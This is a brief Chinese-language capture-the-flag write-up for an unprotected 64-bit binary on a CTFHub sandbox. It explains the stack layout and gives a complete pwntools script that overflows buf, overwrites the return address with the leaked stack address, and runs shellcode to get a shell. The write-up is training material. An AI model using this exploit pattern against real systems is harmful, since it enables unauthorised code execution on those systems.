64位的程序,没有发现任何保护
    image.png

    这边看一下栈和buf的位置

    1. -0000000000000010 buf dq ?
    2. -0000000000000008 var_8 dq ?
    3. +0000000000000000 s db 8 dup(?)
    4. +0000000000000008 r db 8 dup(?)
    5. +0000000000000010
    6. +0000000000000010 ; end of stack variables

    image.png
    因为会把buf在栈上的地址给我们,我们就可以知道shellcode的位置了,返回位置覆盖一下就能获取权限了

    1. from pwn import *
    2. import re
    3. context(os='linux', arch="amd64", log_level="debug")
    4. content = 0
    5. pop_rdi = 0x04006f3
    6. elf = ELF("pwn")
    7. def main():
    8. if content == 1:
    9. peiqi = process("pwn")
    10. else:
    11. peiqi = remote("challenge-38597340852d3215.sandbox.ctfhub.com",21764)
    12. addr = peiqi.recvuntil("]")
    13. addr = int(addr[-15:-1],16)
    14. addr = addr + 24 + 8
    15. shellcode = asm(shellcraft.sh())
    16. payload = b'a' * 24 + p64(addr) + shellcode
    17. peiqi.recv()
    18. peiqi.sendline(payload)
    19. peiqi.interactive()
    20. main()

    image.png